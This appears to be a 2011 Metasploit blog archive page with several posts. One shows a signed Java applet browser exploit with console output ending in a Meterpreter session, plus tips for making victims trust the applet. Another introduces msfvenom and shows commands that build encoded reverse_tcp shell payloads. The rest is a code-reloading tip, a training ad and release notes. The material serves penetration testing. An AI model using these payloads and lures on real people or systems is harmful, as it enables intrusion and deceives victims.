Skip navigation
All Places > Metasploit > Blog > 2011 > May

The best exploits are often not exploits at all -- they are code execution by design. One of my favorite examples of this is a signed java applet. If an applet is signed, the jvm allows it to run outside the normal security sandbox, giving it full access to do anything the user can do.


Metasploit has supported using signed applets as a browser exploit for quite awhile, but over the last week there have been a couple of improvements that might help you get more shells. The first of these improvements is replacing RJB signing (which requires a JDK and was somewhat difficult to get working) with OpenSSL (which works out of the box with a default Ruby installation). That led directly to the second major improvement: once the RJB dependency went away, it was a lot easier to support user-supplied certificates.


In a somewhat related change, all TCP server exploits (including all browser exploits, such as java_signed_applet) now accept arbitrary SSL certificates. Here's what it looks like from the attacker's perspective:


msf exploit(java_signed_applet) > show options 

Module options (exploit/multi/browser/java_signed_applet):

   Name            Current Setting  Required  Description
   ----            ---------------  --------  -----------
   APPLETNAME      SiteLoader       yes       The main applet's class name.
   CERTCN          SiteLoader       yes       The CN= value for the certificate. Cannot contain ',' or '/'
   SRVHOST          yes       The local host to listen on. This must be an address on the local machine or
   SRVPORT         443              yes       The local port to listen on.
   SSL             true             no        Negotiate SSL for incoming connections
   SSLCert  no        Path to a custom SSL certificate (default is randomly generated)
   SSLVersion      SSL3             no        Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
   SigningCert  no        Path to a signing certificate in PEM or PKCS12 (.pfx) format
   SigningKey                       no        Path to a signing key in PEM format
   SigningKeyPass  password         no        Password for signing key (required if SigningCert is a .pfx)
   URIPATH         /                no        The URI to use for this exploit (default is random)

Payload options (java/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST   yes       The listen address
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Generic (Java Payload)

msf exploit(java_signed_applet) > exploit
[*] Exploit running as background job.
[*] Started reverse handler on 
[*] Using URL:
[*]  Local IP:
[*] Server started.
msf exploit(java_signed_applet) > 
[*] Sending stage (27642 bytes) to
[*] Meterpreter session 1 opened ( -> at 2011-05-26 18:30:13 -0600


There are two options above with which we are primarily concerned. First, SSLCert is a file containing a CA-signed SSL certificate in PEM format. Second, SigningCert is a PKCS12 file that came back from a code signing CA. I found no official list of CAs that java will accept, but has a pretty good list. SigningCert will also accept a PEM file, but note that you have to include a cert chain leading back to a trusted root for Java to trust the jar. If you have them in different files, you can just concatenate the PEM versions of the certs in the chain.


Before these changes (and now if you don't provide a CA-signed cert), this is what the victim would see on recent JVMs:



Of particular note is that recent JVMs don't display the cert's CN in the Publisher line any more unless the cert is trusted. Also notice that "Always trust" is unchecked by default. With the provided SSLCert, the victim's browser will give all normal indications that the site is legitimate -- a lock, a different colored url bar, whatever. Once the applet loads, this is what the victim will see on an old JVM (1.6.0_20):


I'm betting tons of people will click "Run" without thinking twice. Some time since 1.6.0_20, the text changed. Here is the same dialog on 1.6.0_25 (latest):




Notice the text at the bottom has become much scarier. "This application will run with unrestricted access" sounds a little more dangerous than "validated by a trusted source." Also, the window title is no longer a "Warning", merely "Information," and the default is still to "Always trust." It's quite likely that a lot of people will still click.





Unfortunately, IE protected mode can give us some headaches. To go from running inside the browser to running independently, we have to write an executable of some sort.  Normally for java payloads, this is just the same jar used for the applet, executed again with java. Writing it out is fine and dandy. Where we run into issues is executing it. Since we're running outside of protected mode in IE7+, the user gets an ugly popup:




Eww. One way around this is to use java meterpreter instead of native and set Spawn 0 which prevents running outside of IE. The problem with this approach, of course, is that if the victim closes the browser, you lose your shell. Additionally, running any outside executable (including tasklist.exe when you type 'ps' in java meterpreter) still invokes the popup and since it's not necessarily associated with any website at that point, the user is pretty likely to freak out and click "Don't allow".




You now have a way to make your signed applets look a lot more convincing. Code signing certs are pretty cheap -- around a hundred bucks. Grabbing a domain and cert for when you're pentesting will be worth it's weight in shells. Unfortunately, recent mitigations in IE make it somewhat less likely to get high click rates. On the other hand, it probably doesn't matter that much, since one shell is all it takes.


If you have any ideas for dealing with protected mode, please contact me in #metasploit on Freenode, or @egyp7 on twitter.

Introducing msfvenom

Posted by bannedit May 24, 2011

The Metasploit Framework has included the useful tools msfpayload and msfencode for quite sometime. These tools are extremely useful for generating payloads in various formats and encoding these payloads using various encoder modules. Now I would like to introduce a new tool which I have been working on for the past week, msfvenom. This tool combines all the functionality of msfpayload and msfencode in a single tool.


Merging these two tools into a single tool just made sense. It standardizes the command line options, speeds things up a bit by using a single framework instance, handles all possible output formats, and brings some sanity to payload generation.


The usage of msfvenom is fairly straight forward:

fahrenheit:msf3 bannedit$ ./msfvenom -h
Usage: ./msfvenom [options] <var=val>

    -p, --payload    [payload]       Payload to use. Specify a '-' or stdin to use custom payloads
    -l, --list       [module_type]   List a module type example: payloads, encoders, nops, all
    -n, --nopsled    [length]        Prepend a nopsled of [length] size on to the payload
    -f, --format     [format]        Format to output results in: raw, ruby, rb, perl, pl, c, js_be, js_le, java, dll, exe, exe-small, elf, macho, vba, vbs, loop-vbs, asp, war
    -e, --encoder    [encoder]       The encoder to use
    -a, --arch       [architecture]  The architecture to use
        --platform   [platform]      The platform of the payload
    -s, --space      [length]        The maximum size of the resulting payload
    -b, --bad-chars  [list]          The list of characters to avoid example: '\x00\xff'
    -i, --iterations [count]         The number of times to encode the payload
    -x, --template   [path]          Specify a custom executable file to use as a template
    -k, --keep                       Preserve the template behavior and inject the payload as a new thread
    -h, --help                       Show this message


All these options are mappings of the msfpayload and msfencode options. Some minor things were changed to standardize things a bit. One change was the method of specifying the payload. The -p flag must be used to set the payload. The var=val pairs used to setup the datastore options for the payload still work the same way as msfpayload and can occur anywhere within the command line. 


Here is an example of using the tool to encode a meterpreter/reverse_tcp payload:


fahrenheit:msf3 bannedit$ msfvenom -p windows/meterpreter/reverse_tcp -f ruby -e -i 3 -s 480 LHOST=
[*] x86/shikata_ga_nai succeeded with size 317 (iteration=1)
[*] x86/shikata_ga_nai succeeded with size 344 (iteration=2)
[*] x86/shikata_ga_nai succeeded with size 371 (iteration=3)
buf = 


The above example generates a meterpreter/reverse_tcp payload in the ruby output format. The payload is encoded three times using shikata_ga_nai which was automatically choosen based on the encoder modules ranking. The -s option specifies the output should not exceed 480 bytes. Finally the LHOST= portion of the command sets the LHOST variable for use with in the payload.


The following shows a quick speed comparison of the tools performing the same task:


fahrenheit:msf3 bannedit$ time ./msfvenom -p windows/meterpreter/reverse_tcp -e -i 3 LHOST= -f ruby 1> /dev/null
[*] x86/shikata_ga_nai succeeded with size 317 (iteration=1)
[*] x86/shikata_ga_nai succeeded with size 344 (iteration=2)
[*] x86/shikata_ga_nai succeeded with size 371 (iteration=3)

real    0m2.744s
user    0m2.380s
sys    0m0.367s

fahrenheit:msf3 bannedit$ time ./msfpayload windows/meterpreter/reverse_tcp LHOST= R|./msfencode -c 3 1> /dev/null
[*] x86/shikata_ga_nai succeeded with size 321 (iteration=1) 
[*] x86/shikata_ga_nai succeeded with size 348 (iteration=2)
[*] x86/shikata_ga_nai succeeded with size 375 (iteration=3) 

real    0m3.070s
user    0m4.227s
sys    0m0.778s


We can see msfvenom is slightly faster due to the use of a single framework instance.


The tool is still in its infancy and I am sure there are still a few bugs, so don't hesitate to give me feedback. If you find a bug or have a feature idea feel free to make a redmine ticket on We will be shipping msfpayload and msfencode as a fallback until msfvenom has matured a little more.

Originally Posted


When modifying Metasploit library code, you generally need to restart msfconsole to see the changes take effect. Although we've made some improvements in startup time, it's still not great, and waiting for the whole framework to load for a one-line change can be frustrating. Fortunately, Ruby has a simple way to reload a file: Kernel.load. Here's a simple example of how to use it:



# $Id$

load "./lib/rex/proto/my_new_protocol.rb"
load "./lib/msf/core/exploit/my_new_protocol.rb"

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  include Msf::Exploit::Remote::MyNewProtocol
  def initialize(info={})
      'Name' => "My New Protocol Exploit",
      'Description' => %q{ Exploits something in My New Protocol },
      # ...

  def exploit




If my_new_protocol.rb defines any constants, Ruby will warn that they are being redefined. Generally this is harmless and you can ignore the warnings.


This simple technique can greatly decrease development time and works equally well when writing your own lib or modifying an existing one. When you're done with the exploit, simply replace the load lines with appropriate requires and send us a patch!

Originally Posted by Jen Ellis


In a couple of weeks, our very own @Mubix (AKA Rob Fuller to those who don’t live their life with an @ sign permanently attached to their name!) will be offering Metasploit-ation for the Nation.  Unlike that phrase – which I just made up – Mubix will actually be talking sense as he walks penetration testers through the delightful world of Metasploit Pro in a 4-hour in-depth training session.


Mubix took some time to answer a few questions below to give you a flavor of the training.  If you have any additional questions on this, please post them in the comments section below.


[Jen] What’s this all about then?



[Mubix] This is going to be a 4-hour practical deep dive in which I’ll be showing people the essentials of penetration testing, as well as advanced techniques and uses of Metasploit.  The plan is for attendees to walk away with a deeper understanding of penetration testing and how Metasploit can help make their organization more successful with an efficient, effective and unparalleled penetration testing strategy.



[Jen] More specifically what will the course cover?


[Mubix] The course will cover the following topics:


o    Reconnaissance

o    Network Vulnerability Scanning

o    Maintaining Access & Privilege Escalation

o    Advanced Techniques

o    Pass the Hash Pivot Attacks


There’ll also be an opportunity for people to ask any questions they have about penetration testing and Metasploit.


[Jen] Who should attend the Metasploit Pro training?


[Mubix] The training is for anyone interested in penetration testing, from novices to pros.  I’m aiming to have something in there for everyone, whether you’re hoping to pick up the basics, or looking for some more advanced tricks and tips.


[Jen] What are the main details everyone needs to know?


[Mubix] Here you go:


What: 4-Hour Online Metasploit Pro Training with Mubix (Includes course materials)


When: May 26th, 11am-3pm Eastern


How Much: $1,000 / per person


How to Register: Please contact your Rapid7 Sales Representative or call 617.247.1717.


[Jen] Finally, can you tell us a bit more about yourself and why you’re the perfect person to introduce people to Metasploit Pro?!


[Mubix] I spent time doing Systems Administration, Incident Response, Security Infrastructure Design, and Penetration Testing in the DoD and Department of State. I’ve learned most of what I know on my own, from friends, and by just googling it. I have fun breaking into places but my passion comes in the constant challenges I’m faced with and the hi-demand problem solving that comes with Penetration Testing. Ultimately it’s about getting organizations better prepared for attacks, which may or may not come, but it’s better to run faster than the other guy.


To register for the training please contact your Rapid7 Sales Representative or call +1 (617) 247 1717.

Originally posted by HD Moore:


We are happy to announce the immediate availability of version 3.7.1 of the Metasploit Framework, Metasploit Express, and Metasploit Pro. This is a relatively small release focused on bug fixes and performance improvements.


Notable highlights include an improved IPv6 reverse_tcp stager from Stephen Fewer, a performance improvement for HTTP services (client-side modules), a bug fix to channel support in the PHP Meterpreter, an update to MSFGUI, and various small tweaks to the included modules. In addition, this release adds exploit modules for the VLC Media Player and the ICONICS WebHMI ActiveX control (SCADA), as well as a new ARP Poisoning auxiliary module.


More details about the open source release can be found in the 3.7.1 Release Notes.  As always, the latest version is available from the Metasploit download page.


Metasploit Express and Metasploit Pro users will note an immediate performance improvement to the user interface as well as minor bug fixes to the Exploits and Vulnerabilities Live Report. Applying the latest software update from the Administration menu will apply the 3.7.1 upgrade. The full release notes can be found online at 3.7.1 Release Notes.

Originally Posted


The Metasploit team has spent the last two months focused on one of the least-visible, but most important pieces of the Metasploit Framework; the session backend. Metasploit 3.7 represents a complete overhaul of how sessions are tracked within the framework and associated with the backend database. This release also significantly improves the staging process for the reverse_tcp stager and Meterpreter session initialization. Shell sessions now hold their output in a ring buffer, which allows us to easily view session history -- even if you don't have a database.


For information specific to the Metasploit Pro and Metasploit Express products, please see this blog post.


This overhaul increases performance in the presence of many sessions and allows for a larger number of concurrent incoming sessions in a more reliable manner. The Metasploit Console can now comfortably handle hundreds of sessions, an especially important consideration when running large-scale social engineering engagements. Several areas of database performance have seen significant improvements as well and importing large scan results is now up to four times faster.


Although much effort has gone into increasing performance with large numbers of hosts and sessions, sometimes small changes can mean a world of difference in usability. An example of such a change is msfpayload's new -h and -l options. Instead of always loading the entire framework when all you need is the list of output formats, msfpayload can now show you usage in less than a second.


This release also includes a long-awaited update to our SMB stack to enable signing. Thanks to some great work by Alexandre Maloteaux, you can now perform pass-the-hash and stolen password attacks against Windows 2008. Alexandre also added NTLM authentication support to the Microsoft SQL Server driver within Metasploit.


In addition to the core library improvements, this release comes with 35 new remote exploits thanks in large part to our two newest full time developers, bannedit and sinn3r.


More details about this release can be found in the 3.7.0 Release Notes. As always, the latest version is available from the Metasploit download page.

Filter Blog

By date: By tag: